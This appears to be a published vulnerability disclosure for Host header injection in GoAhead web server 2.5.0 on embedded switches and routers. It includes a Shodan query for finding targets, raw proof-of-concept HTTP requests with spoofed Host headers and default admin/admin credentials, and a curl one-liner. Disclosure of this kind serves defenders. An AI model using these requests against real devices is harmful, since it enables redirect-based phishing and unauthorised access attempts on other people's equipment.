# Exploit Title: GoAhead Web server HTTP Header Injection.
# Shodan Query: Server: Goahead
# Discovered Date: 05/07/2019
# Exploit Author: Ramikan
# Vendor Homepage: https://www.embedthis.com/goahead/
# Affected Version: 2.5.0 may be others.
# Tested On Version: 2.5.0 in Cisco Switches and Net Gear routers.
# Vendor Fix: N/A
# CVE : N/A
# CVSS v3: N/A
# Category: Hardware, Web Apps
# Reference : www.fact-in-hack.blogspot.com

Vulnerability: Host Header Injection

A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.

An issue was discovered in GoAhead web server version 2.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack

PS: Affected on most of embedded webservers on hardware such as switches, routers, IOT and IP cameras. 


POC: 1

Request:

POST /goform/login HTTP/1.1
Host: myevilwebsite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Referer: https://46725846267.com/login.asp
Upgrade-Insecure-Requests: 1

username=admin&password=admin&language=english


Response:


HTTP/1.0 302 Redirect
Server: Goahead/2.5.0 PeerSec-MatrixSSL/3.2.1-OPEN
Date: Fri Jul 12 15:28:29 2019
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html

<html><head></head><body>
		This document has moved to a new <a href="https://myevilwebsite.com/login.asp">location</a>.
		Please update your documents to reflect the new location.
		</body></html>

POC: 2

Request:

POST /config/log_off_page.htm HTTP/1.1
Host: google.com:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 12344
Content-Type: application/x-www-form-urlencoded
Content-Length: 774
Connection: close
Upgrade-Insecure-Requests: 1

restoreUrl=&errorCollector=&ModuleTable=OK&rlPhdModuleTable%24VT=OK&rlPhdModuleStackUnit%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleIndex%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleType%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&rlPhdModuleNumberOfPorts%24VT=Type%3D0%3BAccess%3D1%3BNumOfEnumerations%3D0%3BRange0%3D%5B-2147483648%2C2147483647%5D&ModuleTable%24endVT=OK&rlPhdModuleStackUnit%24repeat%3F1=1&rlPhdModuleIndex%24repeat%3F1=1&rlPhdModuleType%24repeat%3F1=47&rlPhdModuleNumberOfPorts%24repeat%3F1=28&ModuleTable%24endRepeat%3F1=OK&userName%24query=%24enab15%24&password%24query=admin&x=0&y=0

Response:

HTTP/1.1 302 Redirect
Server: GoAhead-Webs
Date: Sat Oct 14 19:04:59 2006
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://google.com:443/config/accessnotallowedpage.htm

<html><head></head><body>
                        This document has moved to a new <a href="http://google.com:443/config/accessnotallowedpage.htm">location</a>.
                        Please update your documents to reflect the new location.
                        </body></html>

POC: 3 

curl -k --header "Host: attacker domain" "victim's url"


Initial Investigation:

Potentially affected Part of the source code in GoAhead web server is in the ’http.c’ file, which contains 'host' parameter.
https://github.com/embedthis/goahead/blob/master/src/http.c